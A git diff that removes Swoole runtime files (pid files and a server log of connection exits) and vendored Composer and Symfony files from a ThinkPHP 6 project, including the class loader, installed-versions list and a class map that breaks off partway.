diff --git a/runtime/pid.txt b/runtime/pid.txt deleted file mode 100644 index 43c169f..0000000 --- a/runtime/pid.txt +++ /dev/null @@ -1 +0,0 @@ -1474396 diff --git a/runtime/swoole.log b/runtime/swoole.log deleted file mode 100644 index f80287a..0000000 --- a/runtime/swoole.log +++ /dev/null @@ -1,339 +0,0 @@ -Starting swoole http server... -Swoole http server started: -You can exit with `CTRL-C` -1:退出 -
getState:ws:3
Array
-(
-    [mode] => user
-    [user_id] => 34
-    [table_id] => 0
-    [scan_appid] => 0
-    [api_appid] => 0
-    [username] => 974824731
-    [table_name] => 
-)
-
3:退出 -5:退出 -4:退出 -6:退出 -7:退出 -8:退出 -9:退出 -10:退出 -11:退出 -12:退出 -13:退出 -14:退出 -15:退出 -16:退出 -17:退出 -18:退出 -19:退出 -20:退出 -21:退出 -22:退出 -23:退出 -24:退出 -25:退出 -26:退出 -27:退出 -28:退出 -30:退出 -29:退出 -31:退出 -32:退出 -33:退出 -34:退出 -35:退出 -36:退出 -37:退出 -38:退出 -39:退出 -40:退出 -41:退出 -42:退出 -43:退出 -44:退出 -45:退出 -46:退出 -47:退出 -48:退出 -49:退出 -50:退出 -51:退出 -52:退出 -53:退出 -54:退出 -55:退出 -56:退出 -57:退出 -58:退出 -59:退出 -60:退出 -61:退出 -62:退出 -63:退出 -64:退出 -65:退出 -66:退出 -68:退出 -67:退出 -69:退出 -70:退出 -71:退出 -72:退出 -73:退出 -74:退出 -75:退出 -76:退出 -77:退出 -78:退出 -79:退出 -80:退出 -81:退出 -82:退出 -83:退出 -84:退出 -85:退出 -86:退出 -87:退出 -88:退出 -89:退出 -90:退出 -91:退出 -92:退出 -94:退出 -93:退出 -95:退出 -96:退出 -97:退出 -98:退出 -99:退出 -100:退出 -101:退出 -102:退出 -103:退出 -104:退出 -105:退出 -106:退出 -107:退出 -108:退出 -109:退出 -110:退出 -111:退出 -112:退出 -113:退出 -114:退出 -115:退出 -2:退出 -118:退出 -117:退出 -116:退出 -119:退出 -120:退出 -121:退出 -122:退出 -123:退出 -124:退出 -125:退出 -126:退出 -127:退出 -128:退出 -129:退出 -130:退出 -131:退出 -132:退出 -133:退出 -134:退出 -135:退出 -136:退出 -137:退出 -138:退出 -139:退出 -140:退出 -141:退出 -142:退出 -144:退出 -143:退出 -145:退出 -146:退出 -147:退出 -148:退出 -149:退出 -150:退出 -151:退出 -152:退出 -153:退出 -154:退出 -155:退出 -156:退出 -157:退出 -158:退出 -159:退出 -160:退出 -161:退出 -162:退出 -163:退出 -164:退出 -165:退出 -166:退出 -167:退出 -168:退出 -169:退出 -170:退出 -171:退出 -172:退出 -173:退出 -174:退出 -175:退出 -176:退出 -177:退出 -178:退出 -179:退出 -180:退出 -181:退出 -182:退出 -183:退出 -184:退出 -185:退出 -186:退出 -187:退出 -188:退出 -189:退出 -190:退出 -191:退出 -192:退出 -193:退出 -194:退出 -195:退出 -196:退出 -197:退出 -198:退出 -199:退出 -200:退出 -201:退出 -202:退出 -203:退出 -204:退出 -205:退出 -206:退出 -207:退出 -208:退出 -210:退出 -209:退出 -211:退出 -212:退出 -213:退出 -214:退出 -215:退出 -216:退出 -217:退出 -218:退出 -219:退出 -220:退出 -221:退出 -222:退出 -223:退出 -224:退出 -225:退出 -226:退出 -227:退出 -228:退出 -230:退出 -229:退出 -231:退出 -232:退出 -233:退出 -234:退出 -235:退出 -236:退出 -237:退出 -238:退出 -239:退出 -240:退出 -241:退出 -242:退出 -243:退出 -245:退出 -244:退出 -246:退出 -247:退出 -248:退出 -249:退出 -250:退出 -251:退出 -252:退出 -253:退出 -254:退出 -255:退出 -261:退出 -263:退出 -266:退出 -270:退出 -271:退出 -272:退出 -273:退出 -274:退出 -275:退出 -276:退出 -277:退出 -278:退出 -279:退出 -280:退出 -281:退出 -282:退出 -283:退出 -287:退出 -288:退出 -289:退出 -290:退出 -291:退出 -292:退出 -293:退出 -294:退出 -295:退出 -296:退出 -297:退出 -298:退出 -300:退出 -301:退出 -302:退出 -303:退出 -304:退出 -305:退出 -306:退出 -307:退出 -308:退出 -309:退出 -310:退出 -311:退出 -312:退出 -313:退出 -314:退出 -315:退出 -330:退出 -331:退出 -332:退出 -334:退出 -337:退出 -338:退出 -339:退出 -340:退出 -342:退出 -341:退出 -346:退出 -347:退出 -348:退出 -349:退出 -350:退出 -351:退出 -352:退出 -353:退出 -354:退出 -355:退出 -356:退出 -357:退出 -358:退出 -359:退出 -360:退出 -361:退出 diff --git a/runtime/swoole.pid b/runtime/swoole.pid deleted file mode 100644 index 3be3a92..0000000 --- a/runtime/swoole.pid +++ /dev/null @@ -1 +0,0 @@ -1474396 \ No newline at end of file diff --git a/vendor/autoload.php b/vendor/autoload.php deleted file mode 100644 index 712db50..0000000 --- a/vendor/autoload.php +++ /dev/null @@ -1,7 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -/** - * Starts a dump server to collect and output dumps on a single place with multiple formats support. - * - * @author Maxime Steinhausser - */ - -use Psr\Log\LoggerInterface; -use Symfony\Component\Console\Application; -use Symfony\Component\Console\Input\ArgvInput; -use Symfony\Component\Console\Input\InputOption; -use Symfony\Component\Console\Logger\ConsoleLogger; -use Symfony\Component\Console\Output\ConsoleOutput; -use Symfony\Component\VarDumper\Command\ServerDumpCommand; -use Symfony\Component\VarDumper\Server\DumpServer; - -function includeIfExists(string $file): bool -{ - return file_exists($file) && include $file; -} - -if ( - !includeIfExists(__DIR__ . '/../../../../autoload.php') && - !includeIfExists(__DIR__ . '/../../vendor/autoload.php') && - !includeIfExists(__DIR__ . '/../../../../../../vendor/autoload.php') -) { - fwrite(STDERR, 'Install dependencies using Composer.'.PHP_EOL); - exit(1); -} - -if (!class_exists(Application::class)) { - fwrite(STDERR, 'You need the "symfony/console" component in order to run the VarDumper server.'.PHP_EOL); - exit(1); -} - -$input = new ArgvInput(); -$output = new ConsoleOutput(); -$defaultHost = '127.0.0.1:9912'; -$host = $input->getParameterOption(['--host'], $_SERVER['VAR_DUMPER_SERVER'] ?? $defaultHost, true); -$logger = interface_exists(LoggerInterface::class) ? new ConsoleLogger($output->getErrorOutput()) : null; - -$app = new Application(); - -$app->getDefinition()->addOption( - new InputOption('--host', null, InputOption::VALUE_REQUIRED, 'The address the server should listen to', $defaultHost) -); - -$app->add($command = new ServerDumpCommand(new DumpServer($host, $logger))) - ->getApplication() - ->setDefaultCommand($command->getName(), true) - ->run($input, $output) -; diff --git a/vendor/composer/ClassLoader.php b/vendor/composer/ClassLoader.php deleted file mode 100644 index 1a58957..0000000 --- a/vendor/composer/ClassLoader.php +++ /dev/null @@ -1,445 +0,0 @@ - - * Jordi Boggiano - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Composer\Autoload; - -/** - * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. - * - * $loader = new \Composer\Autoload\ClassLoader(); - * - * // register classes with namespaces - * $loader->add('Symfony\Component', __DIR__.'/component'); - * $loader->add('Symfony', __DIR__.'/framework'); - * - * // activate the autoloader - * $loader->register(); - * - * // to enable searching the include path (eg. for PEAR packages) - * $loader->setUseIncludePath(true); - * - * In this example, if you try to use a class in the Symfony\Component - * namespace or one of its children (Symfony\Component\Console for instance), - * the autoloader will first look for the class under the component/ - * directory, and it will then fallback to the framework/ directory if not - * found before giving up. - * - * This class is loosely based on the Symfony UniversalClassLoader. - * - * @author Fabien Potencier - * @author Jordi Boggiano - * @see https://www.php-fig.org/psr/psr-0/ - * @see https://www.php-fig.org/psr/psr-4/ - */ -class ClassLoader -{ - // PSR-4 - private $prefixLengthsPsr4 = array(); - private $prefixDirsPsr4 = array(); - private $fallbackDirsPsr4 = array(); - - // PSR-0 - private $prefixesPsr0 = array(); - private $fallbackDirsPsr0 = array(); - - private $useIncludePath = false; - private $classMap = array(); - private $classMapAuthoritative = false; - private $missingClasses = array(); - private $apcuPrefix; - - public function getPrefixes() - { - if (!empty($this->prefixesPsr0)) { - return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); - } - - return array(); - } - - public function getPrefixesPsr4() - { - return $this->prefixDirsPsr4; - } - - public function getFallbackDirs() - { - return $this->fallbackDirsPsr0; - } - - public function getFallbackDirsPsr4() - { - return $this->fallbackDirsPsr4; - } - - public function getClassMap() - { - return $this->classMap; - } - - /** - * @param array $classMap Class to filename map - */ - public function addClassMap(array $classMap) - { - if ($this->classMap) { - $this->classMap = array_merge($this->classMap, $classMap); - } else { - $this->classMap = $classMap; - } - } - - /** - * Registers a set of PSR-0 directories for a given prefix, either - * appending or prepending to the ones previously set for this prefix. - * - * @param string $prefix The prefix - * @param array|string $paths The PSR-0 root directories - * @param bool $prepend Whether to prepend the directories - */ - public function add($prefix, $paths, $prepend = false) - { - if (!$prefix) { - if ($prepend) { - $this->fallbackDirsPsr0 = array_merge( - (array) $paths, - $this->fallbackDirsPsr0 - ); - } else { - $this->fallbackDirsPsr0 = array_merge( - $this->fallbackDirsPsr0, - (array) $paths - ); - } - - return; - } - - $first = $prefix[0]; - if (!isset($this->prefixesPsr0[$first][$prefix])) { - $this->prefixesPsr0[$first][$prefix] = (array) $paths; - - return; - } - if ($prepend) { - $this->prefixesPsr0[$first][$prefix] = array_merge( - (array) $paths, - $this->prefixesPsr0[$first][$prefix] - ); - } else { - $this->prefixesPsr0[$first][$prefix] = array_merge( - $this->prefixesPsr0[$first][$prefix], - (array) $paths - ); - } - } - - /** - * Registers a set of PSR-4 directories for a given namespace, either - * appending or prepending to the ones previously set for this namespace. - * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param array|string $paths The PSR-4 base directories - * @param bool $prepend Whether to prepend the directories - * - * @throws \InvalidArgumentException - */ - public function addPsr4($prefix, $paths, $prepend = false) - { - if (!$prefix) { - // Register directories for the root namespace. - if ($prepend) { - $this->fallbackDirsPsr4 = array_merge( - (array) $paths, - $this->fallbackDirsPsr4 - ); - } else { - $this->fallbackDirsPsr4 = array_merge( - $this->fallbackDirsPsr4, - (array) $paths - ); - } - } elseif (!isset($this->prefixDirsPsr4[$prefix])) { - // Register directories for a new namespace. - $length = strlen($prefix); - if ('\\' !== $prefix[$length - 1]) { - throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); - } - $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; - $this->prefixDirsPsr4[$prefix] = (array) $paths; - } elseif ($prepend) { - // Prepend directories for an already registered namespace. - $this->prefixDirsPsr4[$prefix] = array_merge( - (array) $paths, - $this->prefixDirsPsr4[$prefix] - ); - } else { - // Append directories for an already registered namespace. - $this->prefixDirsPsr4[$prefix] = array_merge( - $this->prefixDirsPsr4[$prefix], - (array) $paths - ); - } - } - - /** - * Registers a set of PSR-0 directories for a given prefix, - * replacing any others previously set for this prefix. - * - * @param string $prefix The prefix - * @param array|string $paths The PSR-0 base directories - */ - public function set($prefix, $paths) - { - if (!$prefix) { - $this->fallbackDirsPsr0 = (array) $paths; - } else { - $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; - } - } - - /** - * Registers a set of PSR-4 directories for a given namespace, - * replacing any others previously set for this namespace. - * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param array|string $paths The PSR-4 base directories - * - * @throws \InvalidArgumentException - */ - public function setPsr4($prefix, $paths) - { - if (!$prefix) { - $this->fallbackDirsPsr4 = (array) $paths; - } else { - $length = strlen($prefix); - if ('\\' !== $prefix[$length - 1]) { - throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); - } - $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; - $this->prefixDirsPsr4[$prefix] = (array) $paths; - } - } - - /** - * Turns on searching the include path for class files. - * - * @param bool $useIncludePath - */ - public function setUseIncludePath($useIncludePath) - { - $this->useIncludePath = $useIncludePath; - } - - /** - * Can be used to check if the autoloader uses the include path to check - * for classes. - * - * @return bool - */ - public function getUseIncludePath() - { - return $this->useIncludePath; - } - - /** - * Turns off searching the prefix and fallback directories for classes - * that have not been registered with the class map. - * - * @param bool $classMapAuthoritative - */ - public function setClassMapAuthoritative($classMapAuthoritative) - { - $this->classMapAuthoritative = $classMapAuthoritative; - } - - /** - * Should class lookup fail if not found in the current class map? - * - * @return bool - */ - public function isClassMapAuthoritative() - { - return $this->classMapAuthoritative; - } - - /** - * APCu prefix to use to cache found/not-found classes, if the extension is enabled. - * - * @param string|null $apcuPrefix - */ - public function setApcuPrefix($apcuPrefix) - { - $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; - } - - /** - * The APCu prefix in use, or null if APCu caching is not enabled. - * - * @return string|null - */ - public function getApcuPrefix() - { - return $this->apcuPrefix; - } - - /** - * Registers this instance as an autoloader. - * - * @param bool $prepend Whether to prepend the autoloader or not - */ - public function register($prepend = false) - { - spl_autoload_register(array($this, 'loadClass'), true, $prepend); - } - - /** - * Unregisters this instance as an autoloader. - */ - public function unregister() - { - spl_autoload_unregister(array($this, 'loadClass')); - } - - /** - * Loads the given class or interface. - * - * @param string $class The name of the class - * @return bool|null True if loaded, null otherwise - */ - public function loadClass($class) - { - if ($file = $this->findFile($class)) { - includeFile($file); - - return true; - } - } - - /** - * Finds the path to the file where the class is defined. - * - * @param string $class The name of the class - * - * @return string|false The path if found, false otherwise - */ - public function findFile($class) - { - // class map lookup - if (isset($this->classMap[$class])) { - return $this->classMap[$class]; - } - if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { - return false; - } - if (null !== $this->apcuPrefix) { - $file = apcu_fetch($this->apcuPrefix.$class, $hit); - if ($hit) { - return $file; - } - } - - $file = $this->findFileWithExtension($class, '.php'); - - // Search for Hack files if we are running on HHVM - if (false === $file && defined('HHVM_VERSION')) { - $file = $this->findFileWithExtension($class, '.hh'); - } - - if (null !== $this->apcuPrefix) { - apcu_add($this->apcuPrefix.$class, $file); - } - - if (false === $file) { - // Remember that this class does not exist. - $this->missingClasses[$class] = true; - } - - return $file; - } - - private function findFileWithExtension($class, $ext) - { - // PSR-4 lookup - $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; - - $first = $class[0]; - if (isset($this->prefixLengthsPsr4[$first])) { - $subPath = $class; - while (false !== $lastPos = strrpos($subPath, '\\')) { - $subPath = substr($subPath, 0, $lastPos); - $search = $subPath . '\\'; - if (isset($this->prefixDirsPsr4[$search])) { - $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); - foreach ($this->prefixDirsPsr4[$search] as $dir) { - if (file_exists($file = $dir . $pathEnd)) { - return $file; - } - } - } - } - } - - // PSR-4 fallback dirs - foreach ($this->fallbackDirsPsr4 as $dir) { - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { - return $file; - } - } - - // PSR-0 lookup - if (false !== $pos = strrpos($class, '\\')) { - // namespaced class name - $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) - . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); - } else { - // PEAR-like class name - $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; - } - - if (isset($this->prefixesPsr0[$first])) { - foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { - if (0 === strpos($class, $prefix)) { - foreach ($dirs as $dir) { - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { - return $file; - } - } - } - } - } - - // PSR-0 fallback dirs - foreach ($this->fallbackDirsPsr0 as $dir) { - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { - return $file; - } - } - - // PSR-0 include paths. - if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { - return $file; - } - - return false; - } -} - -/** - * Scope isolated include. - * - * Prevents access to $this/self from included files. - */ -function includeFile($file) -{ - include $file; -} diff --git a/vendor/composer/InstalledVersions.php b/vendor/composer/InstalledVersions.php deleted file mode 100644 index 24ff3bd..0000000 --- a/vendor/composer/InstalledVersions.php +++ /dev/null @@ -1,434 +0,0 @@ - - array ( - 'pretty_version' => 'dev-master', - 'version' => 'dev-master', - 'aliases' => - array ( - ), - 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', - 'name' => 'topthink/think', - ), - 'versions' => - array ( - 'league/flysystem' => - array ( - 'pretty_version' => '1.1.3', - 'version' => '1.1.3.0', - 'aliases' => - array ( - ), - 'reference' => '9be3b16c877d477357c015cec057548cf9b2a14a', - ), - 'league/flysystem-cached-adapter' => - array ( - 'pretty_version' => '1.1.0', - 'version' => '1.1.0.0', - 'aliases' => - array ( - ), - 'reference' => 'd1925efb2207ac4be3ad0c40b8277175f99ffaff', - ), - 'league/mime-type-detection' => - array ( - 'pretty_version' => '1.5.1', - 'version' => '1.5.1.0', - 'aliases' => - array ( - ), - 'reference' => '353f66d7555d8a90781f6f5e7091932f9a4250aa', - ), - 'nette/php-generator' => - array ( - 'pretty_version' => 'v3.4.1', - 'version' => '3.4.1.0', - 'aliases' => - array ( - ), - 'reference' => '7051954c534cebafd650efe8b145ac75b223cb66', - ), - 'nette/utils' => - array ( - 'pretty_version' => 'v3.1.3', - 'version' => '3.1.3.0', - 'aliases' => - array ( - ), - 'reference' => 'c09937fbb24987b2a41c6022ebe84f4f1b8eec0f', - ), - 'open-smf/connection-pool' => - array ( - 'pretty_version' => 'v1.0.15', - 'version' => '1.0.15.0', - 'aliases' => - array ( - ), - 'reference' => 'f9289cb5ee61d3e901bc74ab745e5b2162461a1e', - ), - 'psr/cache' => - array ( - 'pretty_version' => '1.0.1', - 'version' => '1.0.1.0', - 'aliases' => - array ( - ), - 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', - ), - 'psr/container' => - array ( - 'pretty_version' => '1.0.0', - 'version' => '1.0.0.0', - 'aliases' => - array ( - ), - 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', - ), - 'psr/log' => - array ( - 'pretty_version' => '1.1.3', - 'version' => '1.1.3.0', - 'aliases' => - array ( - ), - 'reference' => '0f73288fd15629204f9d42b7055f72dacbe811fc', - ), - 'psr/simple-cache' => - array ( - 'pretty_version' => '1.0.1', - 'version' => '1.0.1.0', - 'aliases' => - array ( - ), - 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', - ), - 'swoole/ide-helper' => - array ( - 'pretty_version' => '4.5.6', - 'version' => '4.5.6.0', - 'aliases' => - array ( - ), - 'reference' => 'ab23c2c35880144a6060a3f178a68af0d0c6fc93', - ), - 'symfony/finder' => - array ( - 'pretty_version' => 'v4.4.16', - 'version' => '4.4.16.0', - 'aliases' => - array ( - ), - 'reference' => '26f63b8d4e92f2eecd90f6791a563ebb001abe31', - ), - 'symfony/polyfill-mbstring' => - array ( - 'pretty_version' => 'v1.20.0', - 'version' => '1.20.0.0', - 'aliases' => - array ( - ), - 'reference' => '39d483bdf39be819deabf04ec872eb0b2410b531', - ), - 'symfony/polyfill-php72' => - array ( - 'pretty_version' => 'v1.20.0', - 'version' => '1.20.0.0', - 'aliases' => - array ( - ), - 'reference' => 'cede45fcdfabdd6043b3592e83678e42ec69e930', - ), - 'symfony/polyfill-php80' => - array ( - 'pretty_version' => 'v1.20.0', - 'version' => '1.20.0.0', - 'aliases' => - array ( - ), - 'reference' => 'e70aa8b064c5b72d3df2abd5ab1e90464ad009de', - ), - 'symfony/var-dumper' => - array ( - 'pretty_version' => 'v4.4.16', - 'version' => '4.4.16.0', - 'aliases' => - array ( - ), - 'reference' => '3718e18b68d955348ad860e505991802c09f5f73', - ), - 'topthink/framework' => - array ( - 'pretty_version' => 'v6.0.5', - 'version' => '6.0.5.0', - 'aliases' => - array ( - ), - 'reference' => '85625d984f5c96699dc27d384869f206c3aec1cc', - ), - 'topthink/think' => - array ( - 'pretty_version' => 'dev-master', - 'version' => 'dev-master', - 'aliases' => - array ( - ), - 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', - ), - 'topthink/think-captcha' => - array ( - 'pretty_version' => 'v3.0.3', - 'version' => '3.0.3.0', - 'aliases' => - array ( - ), - 'reference' => '1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55', - ), - 'topthink/think-helper' => - array ( - 'pretty_version' => 'v3.1.4', - 'version' => '3.1.4.0', - 'aliases' => - array ( - ), - 'reference' => 'c28d37743bda4a0455286ca85b17b5791d626e10', - ), - 'topthink/think-multi-app' => - array ( - 'pretty_version' => 'v1.0.14', - 'version' => '1.0.14.0', - 'aliases' => - array ( - ), - 'reference' => 'ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3', - ), - 'topthink/think-orm' => - array ( - 'pretty_version' => 'v2.0.34', - 'version' => '2.0.34.0', - 'aliases' => - array ( - ), - 'reference' => '57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629', - ), - 'topthink/think-swoole' => - array ( - 'pretty_version' => 'v3.0.9', - 'version' => '3.0.9.0', - 'aliases' => - array ( - ), - 'reference' => 'c61e95cdc0669f4fe3382e25def9ae25797c0508', - ), - 'topthink/think-template' => - array ( - 'pretty_version' => 'v2.0.7', - 'version' => '2.0.7.0', - 'aliases' => - array ( - ), - 'reference' => 'e98bdbb4a4c94b442f17dfceba81e0134d4fbd19', - ), - 'topthink/think-trace' => - array ( - 'pretty_version' => 'v1.4', - 'version' => '1.4.0.0', - 'aliases' => - array ( - ), - 'reference' => '9a9fa8f767b6c66c5a133ad21ca1bc96ad329444', - ), - 'topthink/think-view' => - array ( - 'pretty_version' => 'v1.0.14', - 'version' => '1.0.14.0', - 'aliases' => - array ( - ), - 'reference' => 'edce0ae2c9551ab65f9e94a222604b0dead3576d', - ), - ), -); - - - - - - - -public static function getInstalledPackages() -{ -return array_keys(self::$installed['versions']); -} - - - - - - - - - -public static function isInstalled($packageName) -{ -return isset(self::$installed['versions'][$packageName]); -} - - - - - - - - - - - - - - -public static function satisfies(VersionParser $parser, $packageName, $constraint) -{ -$constraint = $parser->parseConstraints($constraint); -$provided = $parser->parseConstraints(self::getVersionRanges($packageName)); - -return $provided->matches($constraint); -} - - - - - - - - - - -public static function getVersionRanges($packageName) -{ -if (!isset(self::$installed['versions'][$packageName])) { -throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); -} - -$ranges = array(); -if (isset(self::$installed['versions'][$packageName]['pretty_version'])) { -$ranges[] = self::$installed['versions'][$packageName]['pretty_version']; -} -if (array_key_exists('aliases', self::$installed['versions'][$packageName])) { -$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['aliases']); -} -if (array_key_exists('replaced', self::$installed['versions'][$packageName])) { -$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['replaced']); -} -if (array_key_exists('provided', self::$installed['versions'][$packageName])) { -$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['provided']); -} - -return implode(' || ', $ranges); -} - - - - - -public static function getVersion($packageName) -{ -if (!isset(self::$installed['versions'][$packageName])) { -throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); -} - -if (!isset(self::$installed['versions'][$packageName]['version'])) { -return null; -} - -return self::$installed['versions'][$packageName]['version']; -} - - - - - -public static function getPrettyVersion($packageName) -{ -if (!isset(self::$installed['versions'][$packageName])) { -throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); -} - -if (!isset(self::$installed['versions'][$packageName]['pretty_version'])) { -return null; -} - -return self::$installed['versions'][$packageName]['pretty_version']; -} - - - - - -public static function getReference($packageName) -{ -if (!isset(self::$installed['versions'][$packageName])) { -throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); -} - -if (!isset(self::$installed['versions'][$packageName]['reference'])) { -return null; -} - -return self::$installed['versions'][$packageName]['reference']; -} - - - - - -public static function getRootPackage() -{ -return self::$installed['root']; -} - - - - - - - -public static function getRawData() -{ -return self::$installed; -} - - - - - - - - - - - - - - - - - - - -public static function reload($data) -{ -self::$installed = $data; -} -} diff --git a/vendor/composer/LICENSE b/vendor/composer/LICENSE deleted file mode 100644 index f27399a..0000000 --- a/vendor/composer/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ - -Copyright (c) Nils Adermann, Jordi Boggiano - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. - diff --git a/vendor/composer/autoload_classmap.php b/vendor/composer/autoload_classmap.php deleted file mode 100644 index 348f433..0000000 --- a/vendor/composer/autoload_classmap.php +++ /dev/null @@ -1,642 +0,0 @@ - $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', - 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', - 'League\\Flysystem\\AdapterInterface' => $vendorDir . '/league/flysystem/src/AdapterInterface.php', - 'League\\Flysystem\\Adapter\\AbstractAdapter' => $vendorDir . '/league/flysystem/src/Adapter/AbstractAdapter.php', - 'League\\Flysystem\\Adapter\\AbstractFtpAdapter' => $vendorDir . '/league/flysystem/src/Adapter/AbstractFtpAdapter.php', - 'League\\Flysystem\\Adapter\\CanOverwriteFiles' => $vendorDir . '/league/flysystem/src/Adapter/CanOverwriteFiles.php', - 'League\\Flysystem\\Adapter\\Ftp' => $vendorDir . '/league/flysystem/src/Adapter/Ftp.php', - 'League\\Flysystem\\Adapter\\Ftpd' => $vendorDir . '/league/flysystem/src/Adapter/Ftpd.php', - 'League\\Flysystem\\Adapter\\Local' => $vendorDir . '/league/flysystem/src/Adapter/Local.php', - 'League\\Flysystem\\Adapter\\NullAdapter' => $vendorDir . '/league/flysystem/src/Adapter/NullAdapter.php', - 'League\\Flysystem\\Adapter\\Polyfill\\NotSupportingVisibilityTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedCopyTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedCopyTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedReadingTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedWritingTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedWritingTrait.php', - 'League\\Flysystem\\Adapter\\SynologyFtp' => $vendorDir . '/league/flysystem/src/Adapter/SynologyFtp.php', - 'League\\Flysystem\\Cached\\CacheInterface' => $vendorDir . '/league/flysystem-cached-adapter/src/CacheInterface.php', - 'League\\Flysystem\\Cached\\CachedAdapter' => $vendorDir . '/league/flysystem-cached-adapter/src/CachedAdapter.php', - 'League\\Flysystem\\Cached\\Storage\\AbstractCache' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/AbstractCache.php', - 'League\\Flysystem\\Cached\\Storage\\Adapter' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Adapter.php', - 'League\\Flysystem\\Cached\\Storage\\Memcached' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Memcached.php', - 'League\\Flysystem\\Cached\\Storage\\Memory' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Memory.php', - 'League\\Flysystem\\Cached\\Storage\\Noop' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Noop.php', - 'League\\Flysystem\\Cached\\Storage\\PhpRedis' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/PhpRedis.php', - 'League\\Flysystem\\Cached\\Storage\\Predis' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Predis.php', - 'League\\Flysystem\\Cached\\Storage\\Psr6Cache' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php', - 'League\\Flysystem\\Cached\\Storage\\Stash' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Stash.php', - 'League\\Flysystem\\Config' => $vendorDir . '/league/flysystem/src/Config.php', - 'League\\Flysystem\\ConfigAwareTrait' => $vendorDir . '/league/flysystem/src/ConfigAwareTrait.php', - 'League\\Flysystem\\ConnectionErrorException' => $vendorDir . '/league/flysystem/src/ConnectionErrorException.php', - 'League\\Flysystem\\ConnectionRuntimeException' => $vendorDir . '/league/flysystem/src/ConnectionRuntimeException.php', - 'League\\Flysystem\\Directory' => $vendorDir . '/league/flysystem/src/Directory.php', - 'League\\Flysystem\\Exception' => $vendorDir . '/league/flysystem/src/Exception.php', - 'League\\Flysystem\\File' => $vendorDir . '/league/flysystem/src/File.php', - 'League\\Flysystem\\FileExistsException' => $vendorDir . '/league/flysystem/src/FileExistsException.php', - 'League\\Flysystem\\FileNotFoundException' => $vendorDir . '/league/flysystem/src/FileNotFoundException.php', - 'League\\Flysystem\\Filesystem' => $vendorDir . 